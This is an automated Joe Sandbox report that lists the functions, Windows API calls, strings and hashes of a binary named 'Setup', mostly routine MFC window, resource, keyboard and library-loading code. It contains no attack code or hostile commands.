API String ID: 1633685699-1034594571
Opcode ID: 2e8535f0c994b2b5e07103daf07325aac362407ab1511c9793dccf56d275abde
Instruction ID: 31b9be07ac23b1bf891c444da3523701e3d063006dab88422410885a2a600133
Opcode Fuzzy Hash: 2e8535f0c994b2b5e07103daf07325aac362407ab1511c9793dccf56d275abde
Instruction Fuzzy Hash: F4317071A00206ABEF15DF64CC89FBEB7B9BF14B00F04402AF515EA281EB749A01DB54

Function 00B6F959 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00B6F97F
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F98F
EncodePointer.KERNEL32(00000000,?,00000000), ref: 00B6F998
DecodePointer.KERNEL32(00000000,?,00000000), ref: 00B6F9A6
GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00B6F9CE

Strings

kernel32.dll, xrefs: 00B6F97A
SetDefaultDllDirectories, xrefs: 00B6F989

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeDirectoryEncodeHandleModuleProcSystem
String ID: SetDefaultDllDirectories$kernel32.dll
API String ID: 2101061299-2102062458
Opcode ID: 230ff6e44190526c74f6a884fe6629d9fe43add41eb8bf5cde5049b894f9dfff
Instruction ID: 05764a519360d9c8f56b70dc636e2e108ff70cb45c9ea3bb585f1ced30a14677
Opcode Fuzzy Hash: 230ff6e44190526c74f6a884fe6629d9fe43add41eb8bf5cde5049b894f9dfff
Instruction Fuzzy Hash: 1B21C631A0121AAACB209BA5BC49BBF77FCEB15754F0804B6F809D3150E678CA449AA1

Function 00B70E4C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00B70E6C
FindResourceW.KERNEL32(?,00000000,AFX_DIALOG_LAYOUT), ref: 00B70EA4
SizeofResource.KERNEL32(?,00000000), ref: 00B70EB6
LoadResource.KERNEL32(?,?), ref: 00B70EC3
LockResource.KERNEL32(00000000), ref: 00B70ED0
FreeResource.KERNEL32(00000000), ref: 00B70EF5

Strings

AFX_DIALOG_LAYOUT, xrefs: 00B70E95

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindFreeLoadLockSizeofWindow
String ID: AFX_DIALOG_LAYOUT
API String ID: 4180966417-2436846380
Opcode ID: 19d73368ebeaef7600a22cb403735601fd8a699f7f68e61e72f2c68f27e5279d
Instruction ID: 9d4921cb0d3ee271080b4a5329748381d2ef243becbd24430f68672eef4cc731
Opcode Fuzzy Hash: 19d73368ebeaef7600a22cb403735601fd8a699f7f68e61e72f2c68f27e5279d
Instruction Fuzzy Hash: 6A217575A11205EFDB216FA88C88B6E7BF8EB44701F1484BAE519D7250EB748E01CB61

Function 00B7780C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 00B7781E
GetProcAddress.KERNEL32(00000000,DrawThemeTextEx), ref: 00B7782E
EncodePointer.KERNEL32(00000000), ref: 00B77837
DecodePointer.KERNEL32(00000000), ref: 00B77845
DrawThemeText.UXTHEME(?,?,?,?,?,?,?,00000000,?), ref: 00B77892

Strings

uxtheme.dll, xrefs: 00B77819
DrawThemeTextEx, xrefs: 00B77828

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeDrawEncodeHandleModuleProcTextTheme
String ID: DrawThemeTextEx$uxtheme.dll
API String ID: 1727381832-3035683158
Opcode ID: 1dba2ea123107c36b2a072b23b094dab8efcfb9ad67219f322cc4120840deb4c
Instruction ID: ea4fc4f188cb207f87f3d162c4fc0fafe8837e888b8fd73cbc730cc13e3b18d8
Opcode Fuzzy Hash: 1dba2ea123107c36b2a072b23b094dab8efcfb9ad67219f322cc4120840deb4c
Instruction Fuzzy Hash: C411FA32545249FBCF121FA1DD08EAD3FA6FB08741B048161FE15A1220CB36C921EBA1

Function 00B81B14 Relevance: 12.3, APIs: 8, Instructions: 272windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B81B54
GetDesktopWindow.USER32 ref: 00B81B82
GetWindowRect.USER32(?,?), ref: 00B81B95
GetWindowRect.USER32(?,?), ref: 00B81BA2

Part of subcall function 00B75BB8: MoveWindow.USER32(?,?,?,?,?,?), ref: 00B75BD5

Part of subcall function 00B75ECE: ShowWindow.USER32(?,00000000,?,?,00B69BB1,00000000,?,00000363,00000001,00000000,00000001,00000001,?,?,00000363,00000001), ref: 00B75EDF

IntersectRect.USER32(?,?,?), ref: 00B81DAC
EqualRect.USER32(?,?), ref: 00B81DB7
IsRectEmpty.USER32(?), ref: 00B81DC1
InvalidateRect.USER32(?,?,?,?,00000000), ref: 00B81DDE

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: RectWindow$DesktopEmptyEqualIntersectInvalidateMoveShowVisible
String ID:
API String ID: 3589585919-0
Opcode ID: 2a4ca4e5b0f2f288c1531a4cf1768e10dc8a4d4dbded5216b1df8c5abaad1f96
Instruction ID: e0c6f4c3cd4559f98497794b80645b1b85663036c1934c9d7859e241596a5b34
Opcode Fuzzy Hash: 2a4ca4e5b0f2f288c1531a4cf1768e10dc8a4d4dbded5216b1df8c5abaad1f96
Instruction Fuzzy Hash: 74A10B71A01219EFCF04EFA8D994EAEBBB9FF48700B144599E505EB260DB70AD01CF61

Function 00B6876B Relevance: 12.3, APIs: 8, Instructions: 270filecomCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B68772
OleDuplicateData.OLE32(?,?,00000000), ref: 00B687FF
GlobalLock.KERNEL32(00000000), ref: 00B6882D
CopyMetaFileW.GDI32(?,00000000), ref: 00B6883B
GlobalUnlock.KERNEL32(00000000), ref: 00B68849
GlobalFree.KERNEL32(00000000), ref: 00B68850
GlobalUnlock.KERNEL32(00000000), ref: 00B68858
CopyFileW.KERNEL32(?,?,00000000,?,?,00000054,00BE391C,?,?,?), ref: 00B68A02

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Global$CopyFileUnlock$DataDuplicateFreeH_prolog3_LockMeta
String ID:
API String ID: 985170318-0
Opcode ID: b2c43ac40d03fdcf60c5d649dba83fdf0b726d91670827eaf1240509ba9013f0
Instruction ID: d2e90386a118a45926e73db23f3e438dc85bbf803ff1fc57e5f24550a65f0290
Opcode Fuzzy Hash: b2c43ac40d03fdcf60c5d649dba83fdf0b726d91670827eaf1240509ba9013f0
Instruction Fuzzy Hash: D3914C70511602EFDB289F64CD99A2ABBF5FF4970070483A9F816DB6A4DB74EC00CB61

Function 00BB64E0 Relevance: 12.2, APIs: 8, Instructions: 216keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00BB64FA
GetKeyboardLayout.USER32(?), ref: 00BB651F
MapVirtualKeyW.USER32(00000000,00000000), ref: 00BB653D
ToUnicodeEx.USER32(00000000,00000000), ref: 00BB6547
LoadAcceleratorsW.USER32(?,00000000), ref: 00BB65E6
LoadAcceleratorsW.USER32(?,00000000), ref: 00BB6690

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AcceleratorsKeyboardLoad$LayoutStateUnicodeVirtual
String ID:
API String ID: 1654504579-0
Opcode ID: a0898a65dafc40f3c0af8e433ceff4fab8a8956cb5b97f79a7c11e7455269385
Instruction ID: ad3666fd941f57127c73331094c0108906a8ceb3414e7852f9d92c038ad9dbe7
Opcode Fuzzy Hash: a0898a65dafc40f3c0af8e433ceff4fab8a8956cb5b97f79a7c11e7455269385
Instruction Fuzzy Hash: 00617C72600605AFDB24AB659C86FFE77E8EF04750F1440AAF906D7291DFB8DD40CA61

Function 00BF2537 Relevance: 12.2, APIs: 8, Instructions: 169windowCOMMON

Download Yara Rule

APIs

ReleaseCapture.USER32 ref: 00BF2571
IsWindow.USER32(?), ref: 00BF2592
DestroyWindow.USER32(?), ref: 00BF25A2
GetParent.USER32(?), ref: 00BF25C8
IsRectEmpty.USER32(?), ref: 00BF269A
IsWindowVisible.USER32(?), ref: 00BF26E6
MapWindowPoints.USER32(?,?,00000000,00000001), ref: 00BF26FC
SendMessageW.USER32(?,00000202,?,?), ref: 00BF271B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$CaptureDestroyEmptyMessageParentPointsRectReleaseSendVisible
String ID:
API String ID: 3509494761-0
Opcode ID: f37853075107499768bd64eec430cdefa462095d90190dfac74d8020ef63fd83
Instruction ID: 2cd37d15e3db5efad2239c597980bd24888dd1e22a3a46f0d78b27660ac08627
Opcode Fuzzy Hash: f37853075107499768bd64eec430cdefa462095d90190dfac74d8020ef63fd83
Instruction Fuzzy Hash: F4518031601255AFDF15AF24D8A9BBE7BE5EF05301F0400B9ED069F2A1CB749E49CB92

Function 00B87756 Relevance: 12.2, APIs: 8, Instructions: 164windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA9761: IsWindow.USER32(?), ref: 00BA976D

ScreenToClient.USER32(00000000,?), ref: 00B877E1
PtInRect.USER32(?,?,?), ref: 00B877F1
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00B8781E
GetParent.USER32(?), ref: 00B87847
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00B878BF
GetFocus.USER32 ref: 00B878C5
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00B878FF
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00B87928

Part of subcall function 00BA810A: GetClientRect.USER32(00000000,00B87797), ref: 00BA8139
Part of subcall function 00BA810A: PtInRect.USER32(00B87797,?,?), ref: 00BA8153

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MessageSend$Rect$Client$FocusParentScreenWindow
String ID:
API String ID: 4216724418-0
Opcode ID: e47ebc93087359de115adb4a2a919e1f73271e4dd007ca7ea0da11544be2aefd
Instruction ID: f8e66096bafde8b0a273eebc72d4499c4e75a48fcd4fd267620ec5971f01daf6
Opcode Fuzzy Hash: e47ebc93087359de115adb4a2a919e1f73271e4dd007ca7ea0da11544be2aefd
Instruction Fuzzy Hash: 80518F71A48605AFDB20AF65CC89B6EB7F5EF08304F2444A6E905E7261DF70DD00DB61

Function 00B72C14 Relevance: 12.1, APIs: 8, Instructions: 136windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00B72C58
BeginDeferWindowPos.USER32(00000008), ref: 00B72C6E
GetTopWindow.USER32(?), ref: 00B72C80
GetDlgCtrlID.USER32(00000000), ref: 00B72C89
SendMessageW.USER32(00000000,00000361,00000000,00000000), ref: 00B72CC1
GetWindow.USER32(00000000,00000002), ref: 00B72CCA
CopyRect.USER32(?,?), ref: 00B72CE5
EndDeferWindowPos.USER32(00000000), ref: 00B72D72

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$DeferRect$BeginClientCopyCtrlMessageSend
String ID:
API String ID: 1228040700-0
Opcode ID: 7f217345cc7faeaa2933c71310ce6b690aed90f0c30894fde3dbd6c0fbf81854
Instruction ID: 8847a5b8cbcb086f2716fe6207cfc1114cd1f6b64f706757475eec8377d62de5
Opcode Fuzzy Hash: 7f217345cc7faeaa2933c71310ce6b690aed90f0c30894fde3dbd6c0fbf81854
Instruction Fuzzy Hash: F8512571901209EBCF15DFA4D985BEDB7F4FF58311F1480AAE829BB250D774A940CB61

Function 00BA505E Relevance: 12.1, APIs: 8, Instructions: 96COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00BA507A
GetParent.USER32(?), ref: 00BA5091
GetClientRect.USER32(?,?), ref: 00BA50D5
MapWindowPoints.USER32(?,?,?,00000002), ref: 00BA50E7
PtInRect.USER32(?,?,?), ref: 00BA50F7
GetClientRect.USER32(?,?), ref: 00BA5124
MapWindowPoints.USER32(?,?,?,00000002), ref: 00BA5136
PtInRect.USER32(?,?,?), ref: 00BA5146

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Client$PointsWindow$ParentScreen
String ID:
API String ID: 1944725958-0
Opcode ID: eed9e798b144caebc739a05df91b139a4cd3fe039af9184ca25fbd11a9c0fa4c
Instruction ID: e88beb60370e2c7723d6361b190aa585e60e89b78191a1d97820fd04ba4afffb
Opcode Fuzzy Hash: eed9e798b144caebc739a05df91b139a4cd3fe039af9184ca25fbd11a9c0fa4c
Instruction Fuzzy Hash: 16315072A05619AFCF119FA4DD44ABEBBF9FF48700711416AF906E7220EB31DE009B91

Function 00B7854C Relevance: 12.1, APIs: 8, Instructions: 77COMMON

Download Yara Rule

APIs

RealChildWindowFromPoint.USER32(?,?,?), ref: 00B78570
ClientToScreen.USER32(?,?), ref: 00B7858B
GetWindow.USER32(?,00000005), ref: 00B78594
GetDlgCtrlID.USER32(00000000), ref: 00B785A4
GetWindowLongW.USER32(00000000,000000F0), ref: 00B785B4
GetWindowRect.USER32(00000000,?), ref: 00B785D2
PtInRect.USER32(?,?,?), ref: 00B785E2
GetWindow.USER32(00000000,00000002), ref: 00B785F1

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Rect$ChildClientCtrlFromLongPointRealScreen
String ID:
API String ID: 151369081-0
Opcode ID: a6a757ff67e7110f32d6627ae556f958d25b69e421bbd12b3067a12068bd99b3
Instruction ID: aa7ce2a6353b396142ec12c6b6a4e9f015701b7f36cbd42129dd58455bad75a9
Opcode Fuzzy Hash: a6a757ff67e7110f32d6627ae556f958d25b69e421bbd12b3067a12068bd99b3
Instruction Fuzzy Hash: 1421747194161AAFCB119FA8DD4CAAEBBB8FF14310B10416AF815E7250DB34DA018BA1

Function 00B8881F Relevance: 12.1, APIs: 8, Instructions: 65COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000031), ref: 00B8882D
GetSystemMetrics.USER32(00000032), ref: 00B8883B
SetRectEmpty.USER32(00D2CC3C), ref: 00B8884E
EnumDisplayMonitors.USER32(00000000,00000000,00B886B7,00D2CC3C), ref: 00B8885E
SystemParametersInfoW.USER32(00000030,00000000,00D2CC3C,00000000), ref: 00B8886D
